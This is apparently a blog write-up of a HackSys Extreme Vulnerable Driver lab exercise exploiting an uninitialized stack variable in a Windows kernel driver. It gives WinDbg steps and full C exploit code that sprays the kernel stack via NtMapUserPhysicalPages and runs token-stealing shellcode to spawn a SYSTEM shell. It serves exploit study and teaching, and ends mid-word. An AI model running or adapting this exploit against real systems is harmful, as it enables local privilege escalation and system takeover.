truebad0ur@home:~$

website with original article

another one

and another one :)

When a developer defines a variable but doesn’t initialize it, Uninitialized Stack Variable vulnerability arises. During runtime, the variable would have some value, even though an unpredictable one.

Code analysis

from the original

We can clearly see that in secure way we initialize the variable with zero, in insecure we don’t.

#ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
    // the callback
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
    //
    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif

And also we can see that later the uninitialized variable is called in callback function

PAGE:00014F59
PAGE:00014F59 loc_14F59:                              ; CODE XREF: TriggerUninitializedStackVariable(x)+4Dj
PAGE:00014F59                 push    [ebp+UninitializedStackVariable.Value]
PAGE:00014F5F                 push    offset aUninitializeds_0 ; "[+] UninitializedStackVariable.Value: 0"...
PAGE:00014F64                 call    _DbgPrint
PAGE:00014F69                 push    [ebp+UninitializedStackVariable.Callback]
PAGE:00014F6F                 push    offset aUninitializeds_1 ; "[+] UninitializedStackVariable.Callback"...
PAGE:00014F74                 call    _DbgPrint
PAGE:00014F79                 push    offset aTriggeringUnin ; "[+] Triggering Uninitialized Stack Vari"...
PAGE:00014F7E                 call    _DbgPrint
PAGE:00014F83                 add     esp, 14h
PAGE:00014F86                 cmp     [ebp+UninitializedStackVariable.Callback], edi
PAGE:00014F8C                 jz      short loc_14FB7
PAGE:00014F8E                 call    [ebp+UninitializedStackVariable.Callback]   <-- here we call it
PAGE:00014F94                 jmp     short loc_14FB7

Same here as in the previous one, we should pass anything except for magic number that is given in the program to get into out vulnerable part

Let’s go to the exploit

Exploit

  • run windbg
  • run virutal machine
  • open shared folder on vm (Z:\kernel4\NullPoint\Release in my case) to copy compiled file to the desktop
  • in windbg:
    • ed nt!Kd_Default_Mask 8
    • .sympath+ C:\Users\truebad0ur\Documents\Kernel
    • .reload /f
    • lm m HEV* - check if out module is loaded
    • bp HEVD!TriggerUninitializedStackVariable - break on out function
    • bp HEVD!TriggerUninitializedStackVariable+94 - break on the end of the function before shellcode call
#include <Windows.h>
#include <string.h>
#include <stdio.h>

#define IO_CODE 0x22202F

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

int main() {

    printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
    HANDLE hDevice = CreateFileA(kDevName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - dailed to get file handle!\n");
        system("pause");
        return -1;
    }
    printf("[+] Successfully obtained a handle to the driver\n");

    DWORD bytesRetn;
    char buf[4] = { 0xb0, 0xb0, 0xd0, 0xba };

    printf("[+] Starting interaction with the driver\n");
    DeviceIoControl(hDevice, IO_CODE, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);
    //system("cmd.exe");
    CloseHandle(hDevice);


    return 0;
}

Everything works fine, we see

[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0xA98CB9A8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0xA7F57EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback

Changed value to check

[+] UserValue: 0xDDCCBBAA
[+] UninitializedStackVariable Address: 0x821C99A8
[+] UninitializedStackVariable.Value: 0x92607BE5
[+] UninitializedStackVariable.Callback: 0x85413D10
[+] Triggering Uninitialized Stack Variable Vulnerability

kd> dps esp
821c9984  a7f58abc HEVD! ?? ::NNGAKEGL::`string'
821c9988  a7f58af8 HEVD! ?? ::NNGAKEGL::`string'
821c998c  85413d10
821c9990  a7f58b28 HEVD! ?? ::NNGAKEGL::`string'
821c9994  92607be5 dxgkrnl!DpQueueDpc+0x72
821c9998  25e9f97e
821c999c  86f63c98
821c99a0  86f63d08
821c99a4  a7f58ca4 HEVD! ?? ::NNGAKEGL::`string'

821c99a8  92607be5 dxgkrnl!DpQueueDpc+0x72
821c99ac  85413d10

This will trigger callback in vulnurable function. Now we somehow need to control that callback function address to call our shellcode.

To do this, the steps we need to follow:

  • Find the kernel stack init address
  • Find the offset of our callback from this init address
  • Spray the Kernel Stack with User controlled input from the user mode. (Good read about it can be found here by j00ru).

To find the kernel stack init address, run the !thread command, and then offset = stack init address - callback function address

kd> !thread
THREAD 87265788  Cid 05a8.084c  Teb: 7ffdf000 Win32Thread: 00000000 RUNNING on processor 0
IRP List:
    86f63c98: (0006,0094) Flags: 00060000  Mdl: 00000000
Not impersonating
DeviceMap                 8f592d88
Owning Process            85036d28       Image:         Project1.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      85644          Ticks: 18 (0:00:00:00.180)
Context Switch Count      44             IdealProcessor: 0             
UserTime                  00:00:00.000
KernelTime                00:00:00.300
Win32 Start Address 0x00e9134f
Stack Init 821c9ed0             <---------
kd> ?821c9ed0 - 821c99ac
Evaluate expression: 1316 = 00000524

To spray stack we’ll be using NtMapUserPhysicalPages

BOOL WINAPI MapUserPhysicalPages(
_In_ PVOID lpAddress,
_In_ ULONG_PTR NumberOfPages,
_In_ PULONG_PTR UserPfnArray
);

With this API we can spray upto 1024 * sizeof(ULONG_PTR), more than our offset, so okay. Spray kernel stack with 0x414141…

// Thanks h0mbre for the code

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

//
// Defining just our driver name that it uses for IoCreateDevice and also the IOCTL code we use to reach our vulnerable function
#define DEVICE_NAME     "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL           0x22202F

//
// Here we are creating a prototype of the NtMapUserPhysicalPages, we are using the struct member types that tekwizz123 uses, I couldn't get any other definition to work
typedef NTSTATUS(WINAPI* _NtMapUserPhysicalPages)(
    PINT BaseAddress,
    UINT32 NumberOfPages,
    PBYTE PageFrameNumbers);

//
// This function simply retrieves a handle to HEVD, this should be standard at this point based on our previous exploits; however, you can see how much easier it is
// to use Visual C++ and have access to the keywords vs. finding constants for these values and using Python C-types

HANDLE Get_Handle()
{
    HANDLE HEVD = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (HEVD == INVALID_HANDLE_VALUE)
    {
        printf("[!] Unable to retrieve handle for HEVD, last error: %d\n", GetLastError());
        exit(1);
    }

    printf("[*] Successfully retrieved handle to HEVD: %X\n", HEVD);
    return HEVD;
}

void Spawn_Shell()
{
    PROCESS_INFORMATION Process_Info;
    ZeroMemory(&Process_Info, sizeof(Process_Info));
    STARTUPINFOA Startup_Info;
    ZeroMemory(&Startup_Info, sizeof(Startup_Info));
    Startup_Info.cb = sizeof(Startup_Info);
    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &Startup_Info, &Process_Info);
}

int main()
{
    HANDLE HEVD = Get_Handle();

    // Just a dummy buffer so that we don't match the keyword value for BAD0B0B0
    char Input_Buffer[] = "\x41\x41\x41\x41";

    // Acutally creating an instance of our typedef by typcasting the result of a GetProcAddress call inside of ntdll.dll for 'NtMapUserPhysicalPages' (Thanks tekwizz!)
    _NtMapUserPhysicalPages NtMapUserPhysicalPages = (_NtMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtMapUserPhysicalPages");

    // Token stealing payload straight from b33f's FuzzySec blogpost 
    char Shellcode[] = (
        "\x60"
        "\x64\xA1\x24\x01\x00\x00"
        "\x8B\x40\x50"
        "\x89\xC1"
        "\x8B\x98\xF8\x00\x00\x00"
        "\xBA\x04\x00\x00\x00"
        "\x8B\x80\xB8\x00\x00\x00"
        "\x2D\xB8\x00\x00\x00"
        "\x39\x90\xB4\x00\x00\x00"
        "\x75\xED"
        "\x8B\x90\xF8\x00\x00\x00"
        "\x89\x91\xF8\x00\x00\x00"
        "\x61"
        "\xC3"
        );

    // Allocate a RWX buffer the size of our shellcode
    LPVOID Shellcode_Addr = VirtualAlloc(NULL,
        sizeof(Shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    // Copying our shellcode buffer into our RWX buffer
    printf("[*] Allocating RWX shellcode at: %X\n", Shellcode_Addr);
    memcpy(Shellcode_Addr, Shellcode, sizeof(Shellcode));

    // This var is going to be a pointer to the address of Shellcode_Addr, this will end up being the value we spray on the stack
    LPVOID Spray_Address = &Shellcode_Addr;
    printf("[*] Our address to spray on the stack: %X\n", Spray_Address);

    // This var will be used as our BaseAddress in our NtMapPhysicalPages API call
    int Zero = 0;

    // We will typecast this to a PBYTE and reference its address when calling NtMapPhysicalPages
    char Page_Frame_Numbers[4096] = { 0 };

    // This for loop will take our 4096 character array and fill it with the Spray_Address value
    for (int i = 0; i < 1024; i++)
    {
        memcpy((Page_Frame_Numbers + (i * 4)), Spray_Address, 4);
    }

    // Calling the API finally, thanks again, tekwizz
    printf("[*] Spraying stack and triggering vulnerability...\n");
    NtMapUserPhysicalPages(&Zero,
        1024,
        (PBYTE)&Page_Frame_Numbers);

    DWORD Dummy_Bytes = 0;

    // Trigger bug
    DeviceIoControl(HEVD,
        0x22202F,
        &Input_Buffer,
        sizeof(Input_Buffer),
        NULL,
        0,
        &Dummy_Bytes,
        NULL);

    printf("[*] Spawning nt/authority system cmd.exe shell...\n");
    Spawn_Shell();

    return 0;
}

The main idea is very simple: if we provide something else except for 0xBAD0B0B0, we’ll not set UninitializedStackVariable.Callback = UninitializedStackVariableObjectCallback; and Callback will be called not initialized from the stack (that means something that is aligned in the stack, some junk)

And we spray the stack with out address so out shellcode will be called as a callback.

Don’t know why, but if we put the breakpoint on the start of the function, exploit wouldn’t work

We should delete it and leave just bp HEVD!TriggerUninitializedStackVariable+94

In this case we’ll see:

...
9758bf8e ff95f8feffff    call    dword ptr [ebp-108h] ss:0010:ac9c59ac=001d0000
...

kd> !thread
...
Stack Init ac9c5ed0
...

kd> ?ac9c5ed0-0x524
Evaluate expression: -1399039572 = 

kd> dd ac9c59ac L1
ac9c59ac  001d0000

We see out address of the shellcode

kd> u 001d0000
001d0000 60              pushad
001d0001 64a124010000    mov     eax,dword ptr fs:[00000124h]
001d0007 8b4050          mov     eax,dword ptr [eax+50h]
001d000a 89c1            mov     ecx,eax

Proof_